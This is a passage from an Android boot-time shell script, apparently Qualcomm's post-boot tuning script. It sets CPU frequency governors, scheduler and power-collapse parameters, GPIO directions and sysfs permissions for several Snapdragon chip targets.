echo 40000 > /sys/module/msm_dcvs/cores/cpu0/slack_time_min_us
echo 100000 > /sys/module/msm_dcvs/cores/cpu0/em_win_size_min_us
echo 500000 > /sys/module/msm_dcvs/cores/cpu0/em_win_size_max_us
echo 0 > /sys/module/msm_dcvs/cores/cpu0/slack_mode_dynamic
echo 1000000 > /sys/module/msm_dcvs/cores/cpu0/disable_pc_threshold
echo 25000 > /sys/module/msm_dcvs/cores/cpu1/slack_time_max_us
echo 25000 > /sys/module/msm_dcvs/cores/cpu1/slack_time_min_us
echo 100000 > /sys/module/msm_dcvs/cores/cpu1/em_win_size_min_us
echo 500000 > /sys/module/msm_dcvs/cores/cpu1/em_win_size_max_us
echo 0 > /sys/module/msm_dcvs/cores/cpu1/slack_mode_dynamic
echo 1000000 > /sys/module/msm_dcvs/cores/cpu1/disable_pc_threshold
echo 25000 > /sys/module/msm_dcvs/cores/cpu2/slack_time_max_us
echo 25000 > /sys/module/msm_dcvs/cores/cpu2/slack_time_min_us
echo 100000 > /sys/module/msm_dcvs/cores/cpu2/em_win_size_min_us
echo 500000 > /sys/module/msm_dcvs/cores/cpu2/em_win_size_max_us
echo 0 > /sys/module/msm_dcvs/cores/cpu2/slack_mode_dynamic
echo 1000000 > /sys/module/msm_dcvs/cores/cpu2/disable_pc_threshold
echo 25000 > /sys/module/msm_dcvs/cores/cpu3/slack_time_max_us
echo 25000 > /sys/module/msm_dcvs/cores/cpu3/slack_time_min_us
echo 100000 > /sys/module/msm_dcvs/cores/cpu3/em_win_size_min_us
echo 500000 > /sys/module/msm_dcvs/cores/cpu3/em_win_size_max_us
echo 0 > /sys/module/msm_dcvs/cores/cpu3/slack_mode_dynamic
echo 1000000 > /sys/module/msm_dcvs/cores/cpu3/disable_pc_threshold
# set DCVS parameters for GPU
echo 20000 > /sys/module/msm_dcvs/cores/gpu0/slack_time_max_us
echo 20000 > /sys/module/msm_dcvs/cores/gpu0/slack_time_min_us
echo 0 > /sys/module/msm_dcvs/cores/gpu0/slack_mode_dynamic
# set msm_mpdecision parameters
echo 45000 > /sys/module/msm_mpdecision/slack_time_max_us
echo 15000 > /sys/module/msm_mpdecision/slack_time_min_us
echo 100000 > /sys/module/msm_mpdecision/em_win_size_min_us
echo 1000000 > /sys/module/msm_mpdecision/em_win_size_max_us
echo 3 > /sys/module/msm_mpdecision/online_util_pct_min
echo 25 > /sys/module/msm_mpdecision/online_util_pct_max
echo 97 > /sys/module/msm_mpdecision/em_max_util_pct
echo 2 > /sys/module/msm_mpdecision/rq_avg_poll_ms
echo 10 > /sys/module/msm_mpdecision/mp_em_rounding_point_min
echo 85 > /sys/module/msm_mpdecision/mp_em_rounding_point_max
echo 50 > /sys/module/msm_mpdecision/iowait_threshold_pct
#set permissions for the nodes needed by display on/off hook
chown -h system /sys/module/msm_dcvs/cores/cpu0/slack_time_max_us
chown -h system /sys/module/msm_dcvs/cores/cpu0/slack_time_min_us
chown -h system /sys/module/msm_mpdecision/slack_time_max_us
chown -h system /sys/module/msm_mpdecision/slack_time_min_us
chmod -h 664 /sys/module/msm_dcvs/cores/cpu0/slack_time_max_us
chmod -h 664 /sys/module/msm_dcvs/cores/cpu0/slack_time_min_us
chmod -h 664 /sys/module/msm_mpdecision/slack_time_max_us
chmod -h 664 /sys/module/msm_mpdecision/slack_time_min_us
if [ -f /sys/devices/soc0/soc_id ]; then
soc_id=`cat /sys/devices/soc0/soc_id`
else
soc_id=`cat /sys/devices/system/soc/soc0/id`
fi
case "$soc_id" in
"130")
echo 230 > /sys/class/gpio/export
echo 228 > /sys/class/gpio/export
echo 229 > /sys/class/gpio/export
echo "in" > /sys/class/gpio/gpio230/direction
echo "rising" > /sys/class/gpio/gpio230/edge
echo "in" > /sys/class/gpio/gpio228/direction
echo "rising" > /sys/class/gpio/gpio228/edge
echo "in" > /sys/class/gpio/gpio229/direction
echo "rising" > /sys/class/gpio/gpio229/edge
echo 253 > /sys/class/gpio/export
echo 254 > /sys/class/gpio/export
echo 257 > /sys/class/gpio/export
echo 258 > /sys/class/gpio/export
echo 259 > /sys/class/gpio/export
echo "out" > /sys/class/gpio/gpio253/direction
echo "out" > /sys/class/gpio/gpio254/direction
echo "out" > /sys/class/gpio/gpio257/direction
echo "out" > /sys/class/gpio/gpio258/direction
echo "out" > /sys/class/gpio/gpio259/direction
chown -h media /sys/class/gpio/gpio253/value
chown -h media /sys/class/gpio/gpio254/value
chown -h media /sys/class/gpio/gpio257/value
chown -h media /sys/class/gpio/gpio258/value
chown -h media /sys/class/gpio/gpio259/value
chown -h media /sys/class/gpio/gpio253/direction
chown -h media /sys/class/gpio/gpio254/direction
chown -h media /sys/class/gpio/gpio257/direction
chown -h media /sys/class/gpio/gpio258/direction
chown -h media /sys/class/gpio/gpio259/direction
echo 0 > /sys/module/rpm_resources/enable_low_power/vdd_dig
echo 0 > /sys/module/rpm_resources/enable_low_power/vdd_mem
;;
esac
;;
esac
case "$target" in
"msm8974")
echo 4 > /sys/module/lpm_levels/enable_low_power/l2
echo 1 > /sys/module/msm_pm/modes/cpu0/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/retention/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/retention/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/retention/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/retention/idle_enabled
echo 0 > /sys/module/msm_thermal/core_control/enabled
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
if [ -f /sys/devices/soc0/soc_id ]; then
soc_id=`cat /sys/devices/soc0/soc_id`
else
soc_id=`cat /sys/devices/system/soc/soc0/id`
fi
case "$soc_id" in
"208" | "211" | "214" | "217" | "209" | "212" | "215" | "218" | "194" | "210" | "213" | "216")
for devfreq_gov in /sys/class/devfreq/qcom,cpubw*/governor
do
echo "cpubw_hwmon" > $devfreq_gov
done
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo "interactive" > /sys/devices/system/cpu/cpu1/cpufreq/scaling_governor
echo "interactive" > /sys/devices/system/cpu/cpu2/cpufreq/scaling_governor
echo "interactive" > /sys/devices/system/cpu/cpu3/cpufreq/scaling_governor
echo "20000 1400000:40000 1700000:20000" > /sys/devices/system/cpu/cpufreq/interactive/above_hispeed_delay
echo 90 > /sys/devices/system/cpu/cpufreq/interactive/go_hispeed_load
echo 1190400 > /sys/devices/system/cpu/cpufreq/interactive/hispeed_freq
echo 1 > /sys/devices/system/cpu/cpufreq/interactive/io_is_busy
echo "85 1500000:90 1800000:70" > /sys/devices/system/cpu/cpufreq/interactive/target_loads
echo 40000 > /sys/devices/system/cpu/cpufreq/interactive/min_sample_time
echo 20 > /sys/module/cpu_boost/parameters/boost_ms
echo 1728000 > /sys/module/cpu_boost/parameters/sync_threshold
echo 100000 > /sys/devices/system/cpu/cpufreq/interactive/sampling_down_factor
echo 1497600 > /sys/module/cpu_boost/parameters/input_boost_freq
echo 40 > /sys/module/cpu_boost/parameters/input_boost_ms
;;
*)
echo "ondemand" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo "ondemand" > /sys/devices/system/cpu/cpu1/cpufreq/scaling_governor
echo "ondemand" > /sys/devices/system/cpu/cpu2/cpufreq/scaling_governor
echo "ondemand" > /sys/devices/system/cpu/cpu3/cpufreq/scaling_governor
echo 50000 > /sys/devices/system/cpu/cpufreq/ondemand/sampling_rate
echo 90 > /sys/devices/system/cpu/cpufreq/ondemand/up_threshold
echo 1 > /sys/devices/system/cpu/cpufreq/ondemand/io_is_busy
echo 2 > /sys/devices/system/cpu/cpufreq/ondemand/sampling_down_factor
echo 10 > /sys/devices/system/cpu/cpufreq/ondemand/down_differential
echo 70 > /sys/devices/system/cpu/cpufreq/ondemand/up_threshold_multi_core
echo 3 > /sys/devices/system/cpu/cpufreq/ondemand/down_differential_multi_core
echo 960000 > /sys/devices/system/cpu/cpufreq/ondemand/optimal_freq
echo 960000 > /sys/devices/system/cpu/cpufreq/ondemand/sync_freq
echo 1190400 > /sys/devices/system/cpu/cpufreq/ondemand/input_boost
echo 80 > /sys/devices/system/cpu/cpufreq/ondemand/up_threshold_any_cpu_load
;;
esac
echo 300000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 300000 > /sys/devices/system/cpu/cpu1/cpufreq/scaling_min_freq
echo 300000 > /sys/devices/system/cpu/cpu2/cpufreq/scaling_min_freq
echo 300000 > /sys/devices/system/cpu/cpu3/cpufreq/scaling_min_freq
chown -h system /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq
chown -h system /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 1 > /sys/module/msm_thermal/core_control/enabled
chown -h root.system /sys/devices/system/cpu/mfreq
chmod -h 220 /sys/devices/system/cpu/mfreq
chown -h root.system /sys/devices/system/cpu/cpu1/online
chown -h root.system /sys/devices/system/cpu/cpu2/online
chown -h root.system /sys/devices/system/cpu/cpu3/online
chmod -h 664 /sys/devices/system/cpu/cpu1/online
chmod -h 664 /sys/devices/system/cpu/cpu2/online
chmod -h 664 /sys/devices/system/cpu/cpu3/online
echo 1 > /dev/cpuctl/apps/cpu.notify_on_migrate
;;
esac
case "$target" in
"msm8916")
if [ -f /sys/devices/soc0/soc_id ]; then
soc_id=`cat /sys/devices/soc0/soc_id`
else
soc_id=`cat /sys/devices/system/soc/soc0/id`
fi
case "$soc_id" in
"206")
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
echo 2 > /sys/class/net/rmnet0/queues/rx-0/rps_cpus
;;
"247" | "248" | "249" | "250")
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
;;
"239" | "241" | "263")
if [ -f /sys/devices/soc0/revision ]; then
revision=`cat /sys/devices/soc0/revision`
else
revision=`cat /sys/devices/system/soc/soc0/revision`
fi
echo 10 > /sys/class/net/rmnet0/queues/rx-0/rps_cpus
if [ -f /sys/devices/soc0/platform_subtype_id ]; then
platform_subtype_id=`cat /sys/devices/soc0/platform_subtype_id`
fi
if [ -f /sys/devices/soc0/hw_platform ]; then
hw_platform=`cat /sys/devices/soc0/hw_platform`
fi
case "$soc_id" in
"239")
case "$hw_platform" in
"Surf")
case "$platform_subtype_id" in
"1" | "2")
start_hbtp
;;
esac
;;
"MTP")
case "$platform_subtype_id" in
"3")
start_hbtp
;;
esac
;;
esac
;;
esac
;;
"268" | "269" | "270" | "271")
echo 10 > /sys/class/net/rmnet0/queues/rx-0/rps_cpus
;;
"233" | "240" | "242")
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
;;
esac
;;
esac
case "$target" in
"msm8226")
echo 4 > /sys/module/lpm_levels/enable_low_power/l2
echo 1 > /sys/module/msm_pm/modes/cpu0/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/power_collapse/idle_enabled
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
echo "ondemand" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 50000 > /sys/devices/system/cpu/cpufreq/ondemand/sampling_rate
echo 90 > /sys/devices/system/cpu/cpufreq/ondemand/up_threshold
echo 1 > /sys/devices/system/cpu/cpufreq/ondemand/io_is_busy
echo 2 > /sys/devices/system/cpu/cpufreq/ondemand/sampling_down_factor
echo 10 > /sys/devices/system/cpu/cpufreq/ondemand/down_differential
echo 70 > /sys/devices/system/cpu/cpufreq/ondemand/up_threshold_multi_core
echo 10 > /sys/devices/system/cpu/cpufreq/ondemand/down_differential_multi_core
echo 787200 > /sys/devices/system/cpu/cpufreq/ondemand/optimal_freq
echo 300000 > /sys/devices/system/cpu/cpufreq/ondemand/sync_freq
echo 80 > /sys/devices/system/cpu/cpufreq/ondemand/up_threshold_any_cpu_load
echo 300000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
chown -h system /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq
chown -h system /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
chown -h root.system /sys/devices/system/cpu/cpu1/online
chown -h root.system /sys/devices/system/cpu/cpu2/online
chown -h root.system /sys/devices/system/cpu/cpu3/online
chmod -h 664 /sys/devices/system/cpu/cpu1/online
chmod -h 664 /sys/devices/system/cpu/cpu2/online
chmod -h 664 /sys/devices/system/cpu/cpu3/online
;;
esac
case "$target" in
"msm8610")
echo 4 > /sys/module/lpm_levels/enable_low_power/l2
echo 1 > /sys/module/msm_pm/modes/cpu0/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/power_collapse/idle_enabled
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
echo "ondemand" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 50000 > /sys/devices/system/cpu/cpufreq/ondemand/sampling_rate
echo 90 > /sys/devices/system/cpu/cpufreq/ondemand/up_threshold
echo 1 > /sys/devices/system/cpu/cpufreq/ondemand/io_is_busy
echo 2 > /sys/devices/system/cpu/cpufreq/ondemand/sampling_down_factor
echo 10 > /sys/devices/system/cpu/cpufreq/ondemand/down_differential
echo 70 > /sys/devices/system/cpu/cpufreq/ondemand/up_threshold_multi_core
echo 10 > /sys/devices/system/cpu/cpufreq/ondemand/down_differential_multi_core
echo 787200 > /sys/devices/system/cpu/cpufreq/ondemand/optimal_freq
echo 300000 > /sys/devices/system/cpu/cpufreq/ondemand/sync_freq
echo 80 > /sys/devices/system/cpu/cpufreq/ondemand/up_threshold_any_cpu_load
echo 300000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
setprop ro.qualcomm.perf.min_freq 7
echo 1 > /sys/kernel/mm/ksm/deferred_timer
chown -h system /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq
chown -h system /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
chown -h root.system /sys/devices/system/cpu/cpu1/online
chown -h root.system /sys/devices/system/cpu/cpu2/online
chown -h root.system /sys/devices/system/cpu/cpu3/online
chmod -h 664 /sys/devices/system/cpu/cpu1/online
chmod -h 664 /sys/devices/system/cpu/cpu2/online
chmod -h 664 /sys/devices/system/cpu/cpu3/online
;;
esac
case "$target" in
"msm8916")
if [ -f /sys/devices/soc0/soc_id ]; then
soc_id=`cat /sys/devices/soc0/soc_id`
else
soc_id=`cat /sys/devices/system/soc/soc0/id`
fi
# HMP scheduler settings for 8916, 8936, 8939, 8929
echo 3 > /proc/sys/kernel/sched_window_stats_policy
echo 3 > /proc/sys/kernel/sched_ravg_hist_size
# Apply governor settings for 8916
case "$soc_id" in
"206" | "247" | "248" | "249" | "250")
# HMP scheduler load tracking settings
echo 3 > /proc/sys/kernel/sched_ravg_hist_size
# HMP Task packing settings for 8916
echo 20 > /proc/sys/kernel/sched_small_task
echo 30 > /proc/sys/kernel/sched_mostly_idle_load
echo 3 > /proc/sys/kernel/sched_mostly_idle_nr_run
# disable thermal core_control to update scaling_min_freq
echo 0 > /sys/module/msm_thermal/core_control/enabled
echo 1 > /sys/devices/system/cpu/cpu0/online
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 800000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# enable thermal core_control now
echo 1 > /sys/module/msm_thermal/core_control/enabled
echo "25000 1094400:50000" > /sys/devices/system/cpu/cpufreq/interactive/above_hispeed_delay
echo 90 > /sys/devices/system/cpu/cpufreq/interactive/go_hispeed_load
echo 30000 > /sys/devices/system/cpu/cpufreq/interactive/timer_rate
echo 998400 > /sys/devices/system/cpu/cpufreq/interactive/hispeed_freq
echo 0 > /sys/devices/system/cpu/cpufreq/interactive/io_is_busy
echo "1 800000:85 998400:90 1094400:80" > /sys/devices/system/cpu/cpufreq/interactive/target_loads
echo 50000 > /sys/devices/system/cpu/cpufreq/interactive/min_sample_time
echo 50000 > /sys/devices/system/cpu/cpufreq/interactive/sampling_down_factor
# Bring up all cores online
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
echo 1 > /sys/devices/system/cpu/cpu4/online
;;
esac
# Apply governor settings for 8936
case "$soc_id" in
"233" | "240" | "242")
# HMP scheduler load tracking settings
echo 3 > /proc/sys/kernel/sched_ravg_hist_size
# HMP Task packing settings for 8936
echo 50 > /proc/sys/kernel/sched_small_task
echo 50 > /proc/sys/kernel/sched_mostly_idle_load
echo 10 > /proc/sys/kernel/sched_mostly_idle_nr_run
# disable thermal core_control to update scaling_min_freq, interactive gov
echo 0 > /sys/module/msm_thermal/core_control/enabled
echo 1 > /sys/devices/system/cpu/cpu0/online
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 800000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# enable thermal core_control now
echo 1 > /sys/module/msm_thermal/core_control/enabled
echo "25000 1113600:50000" > /sys/devices/system/cpu/cpufreq/interactive/above_hispeed_delay
echo 90 > /sys/devices/system/cpu/cpufreq/interactive/go_hispeed_load
echo 30000 > /sys/devices/system/cpu/cpufreq/interactive/timer_rate
echo 960000 > /sys/devices/system/cpu/cpufreq/interactive/hispeed_freq
echo 0 > /sys/devices/system/cpu/cpufreq/interactive/io_is_busy
echo "1 800000:85 1113600:90 1267200:80" > /sys/devices/system/cpu/cpufreq/interactive/target_loads
echo 50000 > /sys/devices/system/cpu/cpufreq/interactive/min_sample_time
echo 50000 > /sys/devices/system/cpu/cpufreq/interactive/sampling_down_factor
# Bring up all cores online
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
echo 1 > /sys/devices/system/cpu/cpu4/online
# Enable low power modes
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
for gpu_bimc_io_percent in /sys/class/devfreq/*qcom,gpubw*/bw_hwmon/io_percent
do
echo 40 > $gpu_bimc_io_percent
done
;;
esac
# Apply governor settings for 8939
case "$soc_id" in
"239" | "241" | "263" | "268" | "269" | "270" | "271")
if [ `cat /sys/devices/soc0/revision` != "3.0" ]; then
# Apply 1.0 and 2.0 specific Sched & Governor settings
# HMP scheduler load tracking settings
echo 5 > /proc/sys/kernel/sched_ravg_hist_size
# HMP Task packing settings for 8939, 8929
echo 20 > /proc/sys/kernel/sched_small_task
for devfreq_gov in /sys/class/devfreq/*qcom,mincpubw*/governor
do
echo "cpufreq" > $devfreq_gov
done
for devfreq_gov in /sys/class/devfreq/*qcom,cpubw*/governor
do
echo "bw_hwmon" > $devfreq_gov
for cpu_io_percent in /sys/class/devfreq/*qcom,cpubw*/bw_hwmon/io_percent
do
echo 20 > $cpu_io_percent
done
done
for gpu_bimc_io_percent in /sys/class/devfreq/*qcom,gpubw*/bw_hwmon/io_percent
do
echo 40 > $gpu_bimc_io_percent
done
# disable thermal core_control to update interactive gov settings
echo 0 > /sys/module/msm_thermal/core_control/enabled
# enable governor for perf cluster
echo 1 > /sys/devices/system/cpu/cpu0/online
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo "20000 1113600:50000" > /sys/devices/system/cpu/cpu0/cpufreq/interactive/above_hispeed_delay
echo 85 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/timer_rate
echo 1113600 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/hispeed_freq
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/io_is_busy
echo "1 960000:85 1113600:90 1344000:80" > /sys/devices/system/cpu/cpu0/cpufreq/interactive/target_loads
echo 50000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/min_sample_time
echo 50000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/sampling_down_factor
echo 960000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# enable governor for power cluster
echo 1 > /sys/devices/system/cpu/cpu4/online
echo "interactive" > /sys/devices/system/cpu/cpu4/cpufreq/scaling_governor
echo "25000 800000:50000" > /sys/devices/system/cpu/cpu4/cpufreq/interactive/above_hispeed_delay
echo 90 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/go_hispeed_load
echo 40000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/timer_rate
echo 998400 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/hispeed_freq
echo 0 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/io_is_busy
echo "1 800000:90" > /sys/devices/system/cpu/cpu4/cpufreq/interactive/target_loads
echo 40000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/min_sample_time
echo 40000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/sampling_down_factor
echo 800000 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
# enable thermal core_control now
echo 1 > /sys/module/msm_thermal/core_control/enabled
# Bring up all cores online
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
echo 1 > /sys/devices/system/cpu/cpu4/online
echo 1 > /sys/devices/system/cpu/cpu5/online
echo 1 > /sys/devices/system/cpu/cpu6/online
echo 1 > /sys/devices/system/cpu/cpu7/online
# Enable low power modes
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
# HMP scheduler (big.Little cluster related) settings
echo 75 > /proc/sys/kernel/sched_upmigrate
echo 60 > /proc/sys/kernel/sched_downmigrate
# cpu idle load threshold
echo 30 > /sys/devices/system/cpu/cpu0/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu1/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu2/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu3/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu4/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu5/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu6/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu7/sched_mostly_idle_load
# cpu idle nr run threshold
echo 3 > /sys/devices/system/cpu/cpu0/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu1/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu2/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu3/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu4/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu5/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu6/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu7/sched_mostly_idle_nr_run
else
# Apply 3.0 specific Sched & Governor settings
# HMP scheduler settings for 8939 V3.0
echo 3 > /proc/sys/kernel/sched_window_stats_policy
echo 3 > /proc/sys/kernel/sched_ravg_hist_size
echo 20000000 > /proc/sys/kernel/sched_ravg_window
# HMP Task packing settings for 8939 V3.0
echo 20 > /proc/sys/kernel/sched_small_task
echo 30 > /proc/sys/kernel/sched_mostly_idle_load
echo 3 > /proc/sys/kernel/sched_mostly_idle_nr_run
echo 0 > /sys/devices/system/cpu/cpu0/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu1/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu2/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu3/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu4/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu5/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu6/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu7/sched_prefer_idle
for devfreq_gov in /sys/class/devfreq/*qcom,mincpubw*/governor
do
echo "cpufreq" > $devfreq_gov
done
for devfreq_gov in /sys/class/devfreq/*qcom,cpubw*/governor
do
echo "bw_hwmon" > $devfreq_gov
for cpu_io_percent in /sys/class/devfreq/*qcom,cpubw*/bw_hwmon/io_percent
do
echo 20 > $cpu_io_percent
done
done
for gpu_bimc_io_percent in /sys/class/devfreq/*qcom,gpubw*/bw_hwmon/io_percent
do
echo 40 > $gpu_bimc_io_percent
done
# disable thermal core_control to update interactive gov settings
echo 0 > /sys/module/msm_thermal/core_control/enabled
# enable governor for perf cluster
echo 1 > /sys/devices/system/cpu/cpu0/online
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo "19000 1113600:39000" > /sys/devices/system/cpu/cpu0/cpufreq/interactive/above_hispeed_delay
echo 85 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/timer_rate
echo 1113600 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/hispeed_freq
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/io_is_busy
echo "1 960000:85 1113600:90 1344000:80" > /sys/devices/system/cpu/cpu0/cpufreq/interactive/target_loads
echo 40000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/min_sample_time
echo 40000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/sampling_down_factor
echo 960000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# enable governor for power cluster
echo 1 > /sys/devices/system/cpu/cpu4/online
echo "interactive" > /sys/devices/system/cpu/cpu4/cpufreq/scaling_governor
